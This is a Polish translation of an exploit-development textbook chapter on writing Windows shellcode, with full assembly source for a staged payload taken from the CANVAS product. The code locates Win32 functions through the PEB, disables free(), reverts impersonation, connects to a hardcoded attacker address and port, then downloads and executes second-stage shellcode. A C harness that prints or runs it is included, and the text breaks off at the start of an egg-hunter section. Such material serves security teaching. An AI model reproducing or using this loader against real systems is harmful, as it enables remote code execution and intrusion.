**Kod powłoki systemu Windows**

Przyjrzyjmy się trochę shelcodowi, a następnie zagłębimy się w osobliwości, które sprawiają, że shellcode systemu Windows jest tak zabawny. Po drodze omówimy różnice między składnią AT&T i Intel, jak różne błędy w systemie Win32 wpłyną na Ciebie i kierunek zaawansowanych badań shelcodów Windows.

**Składnia i filtry**

Po pierwsze, kilka shellcodów Windows jest wystarczająco małych, aby działać bez kodera/dekodera. W każdym razie, jeśli piszesz wiele exploitów, możesz chcieć wykorzystać ustandaryzowane API kodera/dekodera, aby uniknąć ciągłego poprawiania shellcodów. Odporność CANVAS wykorzystuje „addytywny" koder/dekoder. Oznacza to, że traktuje shellcod jako listę długich bez znaku i dla każdej długości bez znaku na liście dodaje do niej liczbę X, aby utworzyć kolejną długą bez znaku, która nie zawiera złych znaków. Aby znaleźć X, losowo wybiera liczby, dopóki jeden nie zadziała. Ten rodzaj losowej struktury działa bardzo dobrze; jednak inni ludzie są równie zadowoleni z XOR lub jakiejkolwiek innej operacji opartej na znakach lub słowach. Należy pamiętać, że dekoder to po prostu funkcja y=f(x), która rozszerza x do innej przestrzeni znaków. Jeśli x może zawierać tylko małe litery alfabetu, to f(x) może być funkcją, która przekształca małe litery w dowolne znaki binarne i przeskakuje do nich, lub może to być funkcja, która przekształca małe litery w wielkie litery i przeskakuje do nich. Innymi słowy, gdy masz do czynienia z naprawdę rygorystycznym filtrem, nie powinieneś próbować rozwiązywać całego problemu na raz – może być łatwiej przekonwertować swój ciąg ataku na dowolny plik binarny etapami, używając wielu dekoderów. W każdym razie w tym rozdziale zignorujemy kwestię dekodera/kodera. Zakładamy, że wiesz, jak wprowadzić dowolne dane binarne do przestrzeni procesu i przeskoczyć do niej. Kiedy już staniesz się biegły w pisaniu shellcodu Linuksa, powinieneś być rozsądnie kompetentny w pisaniu asemblera x86. Piszę shellcode Win32 w ten sam sposób, w jaki piszę shellcode Linuksa, używając tych samych narzędzi. Uważam, że jeśli nauczysz się używać tylko jednego zestawu narzędzi do swoich potrzeb w shellcodzie, na dłuższą metę twoje życie w shellcodzie będzie łatwiejsze. Moim zdaniem nie trzeba kupować Visual Studio, żeby pisać shellcode. Cygwin to dobre narzędzie do tworzenia shellcodów, które jest dostępne bezpłatnie (http://www.cygwin.com/). Instalacja Cygwina może być trochę powolna, więc upewnij się, że podczas instalacji otwierasz narzędzie programistyczne (gcc, as i inne). Wiele osób woli używać NASM lub innego asemblera do pisania swojego shellcodeu, ale te narzędzia mogą utrudnić pisanie procedur i testowanie kompilacji.

**X86 AT&T SKŁADNIA A SKŁADNIA INTEL**

Istnieją dwie główne różnice między składnią AT&T a składnią Intel. Po pierwsze, składnia AT&T używa mnemonicznego source,dest, podczas gdy Intel używa mnemonicznego dest,source. To odwrócenie może być mylące podczas tłumaczenia na GNU (który używa AT&T) i OllyDbg lub inne narzędzia Windows, które używają Intela. Zakładając, że możesz przełączać operandy wokół przecinka w swojej głowie, istnieje jeszcze jedna ważna różnica między składnią AT&T i Intel: adresowanie. Adresowanie w x86 jest obsługiwane za pomocą dwóch rejestrów, wartości addytywnej i wartości skali, która może wynosić 1, 2, 4 lub 8. Stąd mov eax, [ecx+ebx*4+5000] (w składni Intela dla OllyDbg ) jest odpowiednik mov 5000(%ecx,%ebx,4),%eax w składni asemblera GNU (AT&T). Zachęcam do nauki i używania składni AT&T z jednego prostego powodu: jest jednoznaczna. Rozważmy stwierdzenie mov eax, [ecx+ebx]. Który rejestr jest rejestrem podstawowym, a który rejestrem wagi? Ma to znaczenie zwłaszcza przy próbie unikania znaków, ponieważ przełączenie dwóch rejestrów, choć wydają się identyczne, złoży się w dwie zupełnie różne instrukcje.

**Konfiguracja**

Shellcode systemu Windows ma jeden poważny problem: Win32 nie oferuje możliwości uzyskania bezpośredniego dostępu do wywołań systemowych. Co zaskakujące, ta osobliwość była celowa. Zazwyczaj wszystkie rzeczy w systemie Windows, które sprawiają, że jest okropny, są również rzeczami, które sprawiają, że jest świetny. W takim przypadku projektanci Win32 mogą naprawić lub rozszerzyć wadliwy wewnętrzny interfejs API wywołań systemowych bez uszkadzania żadnej aplikacji korzystającej z interfejsu API wyższego poziomu Win32. Dla małego fragmentu kodu asemblera, który akurat działa w innym programie, twój shellcode ma swoją pracę w następujący sposób:

* Musi znaleźć potrzebne funkcje API Win32 i zbudować tabelę wywołań.

* Musi załadować wszystkie potrzebne biblioteki, aby uzyskać łączność.

* Musi połączyć się ze zdalnym serwerem, pobrać więcej shellcodu i wykonać go.

* Musi być czysto zakończony, wznawiając proces lub po prostu ładnie go kończąc.

* Musi uniemożliwić zabicie go przez inne wątki.

* Musi naprawić jedną lub więcej stert, jeśli chce wykonywać wywołania Win32, które używają sterty.

Znalezienie potrzebnych funkcji Win32 API było kiedyś prostą sprawą zakodowania adresów samych funkcji lub adresów GetProcAddressA() i LoadLibraryA() dla określonej wersji systemu Windows w shellcodezie. Ta metoda jest nadal jednym z najszybszych sposobów pisania shellcodu Win32, ale cierpi na to, że jest powiązana z konkretną wersją pliku wykonywalnego lub wersją systemu Windows. Jednak, jak nauczył nas robak Slammer, zakodowanie adresów na sztywno może czasami być cenną metodą szelfowania.

**UWAGA**: Kod źródłowy Slammera jest szeroko dostępny w Internecie i stanowi dobry przykład adresów zakodowanych na stałe.

Aby zapobiec poleganiu na jakimkolwiek konkretnym stanie pliku wykonywalnego lub systemu operacyjnego, musisz użyć innych technik. Jednym ze sposobów znalezienia lokalizacji funkcji jest emulacja metody, której normalna biblioteka DLL użyłaby do łączenia się z procesem. Możesz także przeszukać pamięć pod kątem kernel32.dll, aby znaleźć blok środowiska procesu dla kernel32.dll (ta metoda jest często używana przez chińskich koderów). W dalszej części rozdziału pokażemy, jak używać systemu obsługi wyjątków Windows do przeszukiwania pamięci.

**Analiza PEB**

Kod w poniższym przykładzie pochodzi z kodu powłoki systemu Windows pierwotnie używanego w produkcie CANVAS. Zanim przeprowadzimy analizę linijka po linijce, powinieneś znać niektóre decyzje projektowe, które zostały podjęte przy tworzeniu shellcodu:

* Niezawodność była kluczową kwestią. Musiało działać za każdym razem, bez zewnętrznych zależności.

* Ważna była możliwość rozbudowy. Zrozumiały shellcode robi dużą różnicę, gdy chcesz go dostosować w sposób, którego nie przewidziałeś.

* Rozmiar jest zawsze ważny w przypadku kodu powłoki - im mniejszy, tym lepiej. Kompresowanie shellcodu zajmuje jednak trochę czasu i może zaciemnić shellcode i uniemożliwić jego zarządzanie. Z tego powodu pokazany kod powłoki jest dość duży. Rozwiązaliśmy ten problem ze shellcodem polowania Structured Exception Handler (SEH), jak zobaczycie później. Jeśli chcesz spędzić czas na nauce x86 i ściśnięciu tego shellcodu, za wszelką cenę, nie krępuj się.

Zauważ, że ponieważ jest to prosty plik C, który gcc może przeanalizować, może być równie dobrze napisany i skompilowany na dowolnej platformie x86 obsługiwanej przez gcc. Przyjrzyjmy się linijce po linijce shelcodowi, heapoverflow.c, i zobaczmy, jak to działa.

**Analiza Heapoverflow.c**

Naszym pierwszym krokiem jest dołączenie pliku windows.h, dzięki czemu jeśli chcemy napisać kod specyficzny dla Win32 do celów testowych - zwykle w celu uzyskania wartości jakiejś stałej lub struktury Win32 - możemy to zrobić.

```
//released under the GNU PUBLIC LICENSE v2.0

#include < stdio.h >

#include < malloc.h >

#ifdef Win32

#include < windows.h >

#endif
```

Uruchamiamy funkcję shellcode, która jest tylko cienkim opakowaniem wokół instrukcji gcc asm() z kilkoma instrukcjami .set. Te stwierdzenia nie tworzą żadnego kodu ani nie zajmują miejsca; istnieją, aby zapewnić nam łatwe w zarządzaniu miejsce do przechowywania stałych, których będziemy używać w shellcodzie.

```
void

getprocaddr()

{

/*GLOBAL DEFINES*/

asm(“

.set KERNEL32HASH, 0x000d4e88

.set NUMBEROFKERNEL32FUNCTIONS,0x4

.set VIRTUALPROTECTHASH, 0x38d13c

.set GETPROCADDRESSHASH,0x00348bfa

.set LOADLIBRARYAHASH, 0x000d5786

.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6

.set WS232HASH, 0x0003ab08

.set NUMBEROFWS232FUNCTIONS,0x5

.set CONNECTHASH, 0x0000677c

.set RECVHASH, 0x00000cc0

.set SENDHASH, 0x00000cd8

.set WSASTARTUPHASH, 0x00039314
```

.set SOCKETHASH, 0x000036a4

.set MSVCRTHASH, 0x00037908

.set NUMBEROFMSVCRTFUNCTIONS, 0x01

.set FREEHASH, 0x00000c4e

.set ADVAPI32HASH, 0x000ca608

.set NUMBEROFADVAPI32FUNCTIONS, 0x01

.set REVERTTOSELFHASH, 0x000dcdb4

“);

Teraz zaczynamy nasz shellcode. Piszemy kod niezależny od pozycji (PIC), a pierwszą rzeczą, którą robimy, jest ustawienie %ebx na naszą bieżącą lokalizację. Następnie wszystkie zmienne lokalne są przywoływane z %ebx. Jest to bardzo podobne do tego, jak zrobiłby to prawdziwy kompilator.

/*START OF SHELLCODE*/

asm(“

mainentrypoint:

call geteip

geteip:

pop %ebx

Ponieważ nie wiemy, gdzie wskazuje esp, musimy teraz znormalizować to, aby uniknąć nadepnięcia na siebie za każdym razem, gdy dzwonimy. W rzeczywistości może to stanowić problem nawet w kodzie getPC, więc w przypadku exploitów, w których %esp wskazuje na ciebie, możesz chcieć dołączyć sub $50,%esp przed kodem powłoki. Jeśli zwiększysz rozmiar swojej przestrzeni na zadrapania (0x1000 to jest to, czego tutaj używam), zejdziesz z końca segmentu pamięci i spowodujesz naruszenie zasad dostępu podczas próby zapisu na stosie. Wybraliśmy tutaj rozsądny rozmiar, który działa niezawodnie w większości sytuacji.

movl %ebx,%esp

subl $0x1000,%esp

Co dziwne, %esp musi być wyrównany, aby niektóre funkcje Win32 w ws2_32.dll działały (w rzeczywistości może to być błąd w ws2_32.dll). Robimy to tutaj:

and $0xffffff00,%esp

W końcu możemy zacząć wypełniać naszą tabelę funkcji. Pierwszą rzeczą, którą robimy, jest uzyskanie adresu funkcji, których potrzebujemy w kernel32.dll. Podzieliliśmy to na trzy wywołania naszej funkcji wewnętrznej, które wypełnią dla nas naszą tabelę. Ustawiamy ecx na liczbę funkcji na naszej liście skrótów i wprowadzamy pętlę. Za każdym razem, gdy przechodzimy przez pętlę, przekazujemy getfuncaddress(), skrót kernel32.dll (nie zapomnij o .dll) oraz skrót nazwy funkcji, której szukamy. Kiedy program zwraca adres funkcji, umieszczamy go w naszej tabeli, na którą wskazuje %edi. Należy zauważyć, że metoda adresowania w całym kodzie jest jednolita. LABEL-geteip(%ebx) zawsze wskazuje na LABEL, dzięki czemu możesz łatwo uzyskać dostęp do przechowywanych zmiennych.

```
//set up the loop
movl $NUMBEROFKERNEL32FUNCTIONS,%ecx
lea KERNEL32HASHESTABLE-geteip(%ebx),%esi
lea KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi
//run the loop
getkernel32functions:
//push the hash we are looking for, which is pointed to by %esi
pushl (%esi)
pushl $KERNEL32HASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
addl $4, %esi
loop getkernel32functions
```

Teraz, gdy nasza tabela jest wypełniona funkcjami .dllkernel32.dll, możemy uzyskać potrzebne funkcje z MSVCRT. Zauważysz tutaj tę samą strukturę pętli. Zagłębimy się w sposób działania funkcji getfuncaddress(), gdy do niej dotrzemy. Na razie załóżmy, że to działa.

```
//GET MSVCRT FUNCTIONS
movl $NUMBEROFMSVCRTFUNCTIONS,%ecx
lea MSVCRTHASHESTABLE-geteip(%ebx),%esi
lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi
getmsvcrtfunctions:
pushl (%esi)
pushl $MSVCRTHASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
addl $4, %esi
loop getmsvcrtfunctions
```

W przypadku przepełnienia sterty uszkadzasz stertę, aby przejąć kontrolę. Ale jeśli nie jesteś jedynym wątkiem działającym na stercie, możesz mieć problemy, ponieważ inne wątki próbują uwolnić () pamięć, którą przydzieliły na tej stercie. Aby temu zapobiec, modyfikujemy funkcję free() tak, aby po prostu zwracała. Zwracany jest kod operacji 0xc3, którego używamy do zastąpienia funkcji preludium.

Aby zrobić to, co opisano w poprzednim akapicie, musimy zmienić tryb ochrony na stronie, na której pojawia się funkcja free(). Jak większość stron, które mają w sobie kod wykonywalny, strona zawierająca free() jest oznaczona jako tylko do odczytu i wykonania - musimy ustawić stronę na +rwx. VirtualProtect znajduje się w MSVCRT, więc powinniśmy już go mieć w naszej tabeli wskaźników funkcji. Tymczasowo przechowujemy wskaźnik do free() w naszych wewnętrznych strukturach danych (nigdy nie zawracamy sobie głowy resetowaniem uprawnień na stronie).

```
//QUICKLY!

//VIRTUALPROTECT FREE +rwx

lea BUF-geteip(%ebx),%eax

pushl %eax

pushl $0x40

pushl $50

movl FREE-geteip(%ebx),%edx

pushl %edx

call *VIRTUALPROTECT-geteip(%ebx)

//restore edx as FREE

movl FREE-geteip(%ebx),%edx

//overwrite it with return!

movl $0xc3c3c3c3,(%edx)

//we leave it +rwx
```

Teraz free() w ogóle nie uzyskuje już dostępu do sterty, po prostu zwraca. Zapobiega to powodowaniu naruszeń dostępu przez inne wątki, gdy kontrolujemy program. Na końcu naszego shellcodu znajduje się ciąg ws2_32.dll. Chcemy go załadować (jeśli nie jest jeszcze załadowany), zainicjować go i użyć do nawiązania połączenia z naszym hostem, który będzie nasłuchiwał na porcie TCP. Niestety mamy przed sobą kilka problemów. W przypadku niektórych exploitów, na przykład exploita RPC LOCATOR, nie można załadować ws2_32.dll, chyba że najpierw wywołasz RevertToSelf(). Dzieje się tak, ponieważ „anonimowy" użytkownik nie ma uprawnień do odczytu żadnych plików, a wątek lokalizatora, w którym się znajdujesz, tymczasowo podszywał się pod anonimowego użytkownika, aby obsłużyć Twoje żądanie. Musimy więc założyć, że ADVAPI.dll jest załadowany i użyć go do znalezienia RevertToSelf. Jest to rzadki program Windows, który nie ma załadowanego ADVAPI.dll, ale jeśli nie zostanie załadowany, ta część kodu powłoki ulegnie awarii. Możesz dodać sprawdzenie, czy wskaźnik funkcji dla RevertToSelf ma wartość zero i wywołać go tylko wtedy, gdy tak nie jest. To sprawdzenie nie zostało tutaj wykonane, ponieważ nigdy go nie potrzebowaliśmy i dodaje tylko kilka dodatkowych bajtów do rozmiaru shellcodu.

```
//Now, we call the RevertToSelf() function so we can actually do

some//thing on the machine

//You can't read ws2_32.dll in the locator exploit without this.
```

```
movl $NUMBEROFADVAPI32FUNCTIONS,%ecx

lea ADVAPI32HASHESTABLE-geteip(%ebx),%esi

lea ADVAPI32FUNCTIONSTABLE-geteip(%ebx),%edi

getadvapi32functions:

pushl (%esi)

pushl $ADVAPI32HASH

call getfuncaddress

movl %eax,(%edi)

addl $4,%esi

addl $4,%edi

loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)
```

Teraz, gdy działamy jako użytkownik oryginalnego procesu, mamy uprawnienia do odczytu ws2_32.dll. Jednak w niektórych systemach Windows, z powodu kropki (.) w ścieżce, LoadLibraryA() nie znajdzie ws2_32.dll, chyba że zostanie określona cała ścieżka. Oznacza to, że musimy teraz wywołać GetSystemDirectoryA() i dołączyć to do ciągu ws2_32.dll. Robimy to w tymczasowym buforze (BUF) na końcu naszego kodu powłoki.

```
//call getsystemdirectoryA, then prepend to ws2_32.dll

pushl $2048

lea BUF-geteip(%ebx),%eax

pushl %eax

call *GETSYSTEMDIRECTORYA-geteip(%ebx)

//ok, now buf is loaded with the current working system directory

//we now need to append \\WS2_32.dll to that, because

//of a bug in LoadLibraryA, which won't find WS2_32.dll if there is a

//dot in that path

lea BUF-geteip(%ebx),%eax

findendofsystemroot:

cmpb $0,(%eax)

je foundendofsystemroot

inc %eax

jmp findendofsystemroot
```

```
foundendofsystemroot:
//eax is now pointing to the final null of C:\\windows\\system32
lea WS2_32DLL-geteip(%ebx),%esi
strcpyintobuf:
movb (%esi), %dl
movb %dl,(%eax)
test %dl,%dl
jz donewithstrcpy
inc %esi
inc %eax
jmp strcpyintobuf
donewithstrcpy:
//loadlibrarya(\"c:\\winnt\\system32\\ws2_32.dll\");
lea BUF-geteip(%ebx),%edx
pushl %edx
call *LOADLIBRARY-geteip(%ebx)
```

Teraz, gdy wiemy na pewno, że ws2_32.dll został załadowany, możemy załadować z niego funkcje, które będą potrzebne do połączenia.

```
movl $NUMBEROFWS232FUNCTIONS,%ecx
lea WS232HASHESTABLE-geteip(%ebx),%esi
lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi
getws232functions:
//get getprocaddress
//hash of getprocaddress
pushl (%esi)
//push hash of KERNEL32.dll
pushl $WS232HASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %esi
addl $4, %edi
```

loop getws232functions

//ok, now we set up BUFADDR on a quadword boundary

//esp will do since it points far above our current position

movl %esp,BUFADDR-geteip(%ebx)

//done setting up BUFADDR

Oczywiście musisz wywołać WSASTARTUP, aby uruchomić ws2_32.dll. Jeśli plik ws2_32.dll został już zainicjowany, wywołanie WSASTARTUP nie spowoduje niczego niebezpiecznego.

movl BUFADDR-geteip(%ebx), %eax

pushl %eax

pushl $0x101

call *WSASTARTUP-geteip(%ebx)

//call socket

pushl $6

pushl $1

pushl $2

call *SOCKET-geteip(%ebx)

movl %eax,FDSPOT-geteip(%ebx)

Teraz wywołujemy connect(), który używa adresu, który zakodowaliśmy na sztywno w dolnej części kodu powłoki. Do użytku w świecie rzeczywistym wyszukaj i zastąp następujący fragment kodu powłoki, zmieniając adres na inny adres IP i port w razie potrzeby. Jeśli connect() nie powiedzie się, przeskakujemy do wątku wyjścia, co po prostu spowoduje wyjątek i awarię. Czasami będziesz chciał wywołać ExitProcess(), a czasami będziesz chciał spowodować wyjątek dla procesu.

//call connect

//push addrlen=16

push $0x10

lea SockAddrSPOT-geteip(%ebx),%esi

//the 4444 is our port

pushl %esi

//push fd

pushl %eax

call *CONNECT-geteip(%ebx)

test %eax,%eax

jl exitthread

Następnie odczytujemy rozmiar shellcodu drugiego etapu ze zdalnego serwera.

```
pushl $4
call recvloop
//ok, now the size is the first word in BUF
//Now that we have the size, we read in that much shellcode into the
//buffer.
movl BUFADDR-geteip(%ebx),%edx
movl (%edx),%edx
//now edx has the size
push %edx
//read the data into BUF
call recvloop
//Now we just execute it.
movl BUFADDR-geteip(%ebx),%edx
call *%edx
```

W tym momencie oddaliśmy kontrolę nad naszym drugim etapem shellcodu. W większości przypadków shellcode drugiego etapu ponownie przejdzie przez większość poprzednich procesów. Następnie spójrz na niektóre funkcje narzędziowe, z których korzystaliśmy w całym shellcodzie. Poniższy kod przedstawia funkcję recvloop, która przyjmuje rozmiar i wykorzystuje niektóre z naszych „globalnych" zmiennych do kontrolowania miejsca, w którym odczytuje dane. Podobnie jak funkcja connect(), recvloop przeskakuje do kodu wyjścia wątku, jeśli znajdzie błąd.

```
//recvloop function
asm(“
//START FUNCTION RECVLOOP
//arguments: size to be read
//reads into *BUFADDR
recvloop:
pushl %ebp
movl %esp,%ebp
push %edx
push %edi
//get arg1 into edx
movl 0x8(%ebp), %edx
```

```
movl BUFADDR-geteip(%ebx),%edi
callrecvloop:
//not an argument- but recv() messes up edx! So we save it off here
pushl %edx
//flags
pushl $0
//len
pushl $1
//*buf
pushl %edi
movl FDSPOT-geteip(%ebx),%eax
pushl %eax
call *RECV-geteip(%ebx)
//prevents getting stuck in an endless loop if the server closes the
connection
cmp $0xffffffff,%eax
je exitthread
popl %edx
//subtract how many we read
sub %eax,%edx
//move buffer pointer forward
add %eax,%edi
//test if we need to exit the function
//recv returned 0
test %eax,%eax
je donewithrecvloop
//we read all the data we wanted to read
test %edx,%edx
je donewithrecvloop
jmp callrecvloop
donewithrecvloop:
```

```
//done with recvloop

pop %edi

pop %edx

mov %ebp, %esp

pop %ebp

ret $0x04

//END FUNCTION
```

Następna funkcja pobiera adres wskaźnika funkcji ze skrótu biblioteki DLL i nazwy funkcji. Jest to prawdopodobnie najbardziej zagmatwana funkcja w całym shellcodzie, ponieważ wykonuje najwięcej pracy i jest dość niekonwencjonalna. Opiera się na fakcie, że gdy program Windows jest uruchomiony, fs:[0x30] jest wskaźnikiem do Bloku Środowiska Procesu (PEB), z którego można znaleźć wszystkie moduły załadowane do pamięci. Przechodzimy przez każdy moduł, szukając takiego, który ma nazwę kernel32.dll.dll, porównując hash. Nasza funkcja haszująca ma prostą flagę, która pozwala jej haszować Unicode lub proste ciągi ASCII. Należy pamiętać, że do uruchomienia tego procesu dostępnych jest wiele opublikowanych metod — niektóre bardziej zwarte niż inne. Na przykład kod Dafydda Stuttarda używa 8-bitowych wartości skrótu, aby zaoszczędzić miejsce; jest wiele sposobów parsowania nagłówka PE, aby uzyskać wskaźniki, których szukamy. Dodatkowo, nie musisz parsować nagłówka PE, aby uzyskać każdą funkcję - możesz przeanalizować go, aby uzyskać GetProcAddress() i użyć tego, aby uzyskać wszystko inne.

```
/* fs[0x30] is pointer to PEB

*that + 0c is _PEB_LDR_DATA pointer

*that + 0c is in load order module list pointer

Zasadniczo wykonasz następujące kroki:

1. Pobierz nagłówek PE z bieżącego modułu (fs:0x30).

2. Przejdź do nagłówka PE.

3. Przejdź do tabeli eksportu i uzyskaj wartość nBase.

4. Pobierz arrayOfNames i znajdź funkcję.

*/

//void* GETFUNCADDRESS( int hash1,int hash2)

/*START OF CODE THAT GETS THE ADDRESSES*/

//arguments

//hash of dll

//hash of function

//returns function address

getfuncaddress:
```

```
pushl %ebp
movl %esp,%ebp
pushl %ebx
pushl %esi
pushl %edi
pushl %ecx
pushl %fs:(0x30)
popl %eax
//test %eax,%eax
//JS WIN9X
NT:
//get _PEB_LDR_DATA ptr
movl 0xc(%eax),%eax
//get first module pointer list
movl 0xc(%eax),%ecx
nextinlist:
//next in the list into %edx
movl (%ecx),%edx
//this is the unicode name of our module
movl 0x30(%ecx),%eax
//compare the unicode string at %eax to our string
//if it matches KERNEL32.dll, then we have our module address at
0x18+%ecx
//call hash match
//push unicode increment value
pushl $2
//push hash
movl 8(%ebp),%edi
pushl %edi
//push string address
pushl %eax
```

```
call hashit
test %eax,%eax
jz foundmodule
//otherwise check the next node in the list
movl %edx,%ecx
jmp nextinlist
//FOUND THE MODULE, GET THE PROCEDURE
foundmodule:
//we are pointing to the winning list entry with ecx
//get the base address
movl 0x18(%ecx),%eax
//we want to save this off since this is our base that we will have to
add
push %eax
//ok, we are now pointing at the start of the module (the MZ for
//the dos header IMAGE_DOS_HEADER.e_lfanew is what we want
//to go parse (the PE header itself)
movl 0x3c(%eax),%ebx
addl %ebx,%eax
//%ebx is now pointing to the PE header (ascii PE)
//PE->export table is what we want
//0x150-0xd8=0x78 according to OllyDbg
movl 0x78(%eax),%ebx
//eax is now the base again!
pop %eax
push %eax
addl %eax,%ebx
//this eax is now the Export Directory Table
//From MS PE-COFF table, 6.3.1 (search for pecoff at MS Site to
download)
//Offset Size Field Description
```

```
//16 4 Ordinal Base (usually set to one!)
//24 4 Number of Name pointers (also the number of ordinals)
//28 4 Export Address Table RVA Address EAT relative to base
//32 4 Name Pointer Table RVA Addresses (RVA's) of Names!
//36 4 Ordinal Table RVA You need the ordinals to get
the addresses
//theoretically we need to subtract the ordinal base, but it turns //out
they don't actually use it
//movl 16(%ebx),%edi
//edi is now the ordinal base!
movl 28(%ebx),%ecx
//ecx is now the address table
movl 32(%ebx),%edx
//edx is the name pointer table
movl 36(%ebx),%ebx
//ebx is the ordinal table
//eax is now the base address again
//correct those RVA's into actual addresses
addl %eax,%ecx
addl %eax,%edx
addl %eax,%ebx
////HERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF
find_procedure:
//for each pointer in the name pointer table, match against our hash
//if the hash matches, then we go into the address table and get the
//address using the ordinal table
movl (%edx),%esi
pop %eax
pushl %eax
addl %eax,%esi
//push the hash increment - we are ascii
```

```
pushl $1
//push the function hash
pushl 12(%ebp)
//esi has the address of our actual string
pushl %esi
call hashit
test %eax, %eax
jz found_procedure
//increment our pointer into the name table
add $4,%edx
//increment out pointer into the ordinal table
//ordinals are only 16 bits
add $2,%ebx
jmp find_procedure
found_procedure:
//set eax to the base address again
pop %eax
xor %edx,%edx
//get the ordinal into dx
//ordinal=ExportOrdinalTable[i] (pointed to by ebx)
mov (%ebx),%dx
//SymbolRVA = ExportAddressTable[ordinal-OrdinalBase]
//see note above for lack of ordinal base use
//subtract ordinal base
//sub %edi,%edx
//multiply that by sizeof(dword)
shl $2,%edx
//add that to the export address table (dereference in above .c
statement)
//to get the RVA of the actual address
add %edx,%ecx
```

```
//now add that to the base and we get our actual address
add (%ecx),%eax
//done eax has the address!
popl %ecx
popl %edi
popl %esi
popl %ebx
mov %ebp,%esp
pop %ebp
ret $8
```

Poniżej znajduje się nasza funkcja mieszająca. Po prostu haszuje ciąg, ignorując wielkość liter.

```
//hashit function
//takes 3 args
//increment for unicode/ascii
//hash to test against
//address of string
hashit:
pushl %ebp
movl %esp,%ebp
push %ecx
push %ebx
push %edx
xor %ecx,%ecx
xor %ebx,%ebx
xor %edx,%edx
mov 8(%ebp),%eax
hashloop:
movb (%eax),%dl
//convert char to upper case
or $0x60,%dl
add %edx,%ebx
```

```
shl $1,%ebx
//add increment to the pointer
//2 for unicode, 1 for ascii
addl 16(%ebp),%eax
mov (%eax),%cl
test %cl,%cl
loopnz hashloop
xor %eax,%eax
mov 12(%ebp),%ecx
cmp %ecx,%ebx
jz donehash
//failed to match, set eax==1
inc %eax
donehash:
pop %edx
pop %ebx
pop %ecx
mov %ebp,%esp
pop %ebp
ret $12
```

Oto program haszujący w C, używany do generowania skrótów, których może używać poprzedni kod powłoki. Każdy shellcode, który używa tej metody, użyje innej funkcji skrótu. Prawie każda funkcja skrótu będzie działać; wybraliśmy tutaj taki, który był mały i łatwy do napisania w asemblerze.

```
#include <stdio.h>
main(int argc, char **argv)
{
char * p;
unsigned int hash;
if (argc<2)
{
printf("Usage: hash.exe kernel32.dll\n");
exit(0);
```

```
}

p=argv[1];

hash=0;

while (*p!=0)

{

//toupper the character

hash=hash + (*(unsigned char * )p | 0x60);

p++;

hash=hash << 1;

}

printf("Hash: 0x%8.8x\n",hash);

}
```

Jeśli musimy wywołać ExitThread() lub ExitProcess(), zastępujemy następującą funkcję crash inną funkcją. Zwykle jednak wystarczy skorzystać z poniższych instrukcji:

```
exitthread:

//just cause an exception

xor %eax,%eax

call *%eax
```

Teraz zaczynamy nasze dane. Aby użyć tego kodu, zastąp przechowywany sockaddr inną obliczoną strukturą, która trafi do właściwego hosta i portu

```
SockAddrSPOT:

//first 2 bytes are the PORT (then AF_INET is 0002)

.long 0x44440002

//server ip 651a8c0 is 192.168.1.101

.long 0x6501a8c0

KERNEL32HASHESTABLE:

.long GETSYSTEMDIRECTORYAHASH

.long VIRTUALPROTECTHASH

.long GETPROCADDRESSHASH

.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE:

.long FREEHASH
```

```
ADVAPI32HASHESTABLE:
.long REVERTTOSELFHASH
WS232HASHESTABLE:
.long CONNECTHASH
.long RECVHASH
.long SENDHASH
.long WSASTARTUPHASH
.long SOCKETHASH
WS2_32DLL:
.ascii \“ws2_32.dll\“
.long 0x00000000
endsploit:
//nothing below this line is actually included in the shellcode, but it
//is used for scratch space when the exploit is running.
MSVCRTFUNCTIONSTABLE:
FREE:
.long 0x00000000
KERNEL32FUNCTIONSTABLE:
VIRTUALPROTECT:
.long 0x00000000
GETPROCADDRA:
.long 0x00000000
LOADLIBRARY:
.long 0x00000000
//end of kernel32.dll functions table
//this stores the address of buf+8 mod 8, since we
//are not guaranteed to be on a word boundary, and we
//want to be so Win32 api works
BUFADDR:
.long 0x00000000
WS232FUNCTIONSTABLE:
```

```
CONNECT:
.long 0x00000000
RECV:
long 0x00000000
SEND:
.long 0x00000000
WSASTARTUP:
.long 0x00000000
SOCKET:
.long 0x00000000
//end of ws2_32.dll functions table
SIZE:
.long 0x00000000
FDSPOT:
.long 0x00000000
BUF:
.long 0x00000000
“);
}
```

Nasza główna procedura wypisuje shellcode, kiedy tego potrzebujemy, lub wywołuje go do testowania.

```
int
main()
{
unsigned char buffer[4000];
unsigned char * p;
int i;
char *mbuf,*mbuf2;
int error=0;
//getprocaddr();
memcpy(buffer,getprocaddr,2400);
p=buffer;
```

```
p+=3; /*skip prelude of function*/

//#define DOPRINT

#ifdef DOPRINT

/*gdb ) printf “%d\n”, endsploit - mainentrypoint -1 */

printf(“\“”);

for (i=0; i<666; i++)

{

printf(“\\x%2.2x”,*p);

if ((i+1)%8==0)

printf(“\“\nshellcode+=\“”);

p++;

}

printf(“\“\n”);

#endif

#define DOCALL

#ifdef DOCALL

((void(*)())(p)) ();

#endif

}
```

str. 176

Wyszukiwanie z obsługą wyjątków systemu Windows

Możesz łatwo zauważyć, że shellcode w poprzedniej sekcji jest znacznie większy, niż byśmy chcieli. Aby rozwiązać ten problem, piszemy inny shellcode, który przechodzi przez pamięć i znajduje pierwszy shellcode. Kolejność wykonania jest następująca:

1. Zagrożony program działa normalnie.

2. Zostanie wstawiony kod powłoki wyszukiwania.

3. Wykonywany jest shellcode etapu 1.

4. Pobrany dowolny shellcode zostanie wykonany.

Shellcode wyszukiwania będzie bardzo mały — to znaczy w przypadku shellcodu systemu Windows. Jego ostateczny rozmiar po zakodowaniu i dołączeniu do dekodera powinien wynosić poniżej 150 bajtów i powinien zmieścić się prawie wszędzie. Jeśli potrzebujesz jeszcze mniejszego shellcodu, uczyń swój pakiet serwisowy shellcodem zależnym i zakoduj na stałe adresy funkcji. Aby użyć tego shellcodu, musisz dołączyć 8-bajtowy znacznik na końcu i poprzedzić ten sam 8-bajtowy znacznik słowami

zamienionymi na początku głównego kodu powłoki, który może znajdować się gdziekolwiek indziej w pamięci.

```
#include <stdio.h>
/*
* Released under the GPL V 2.0
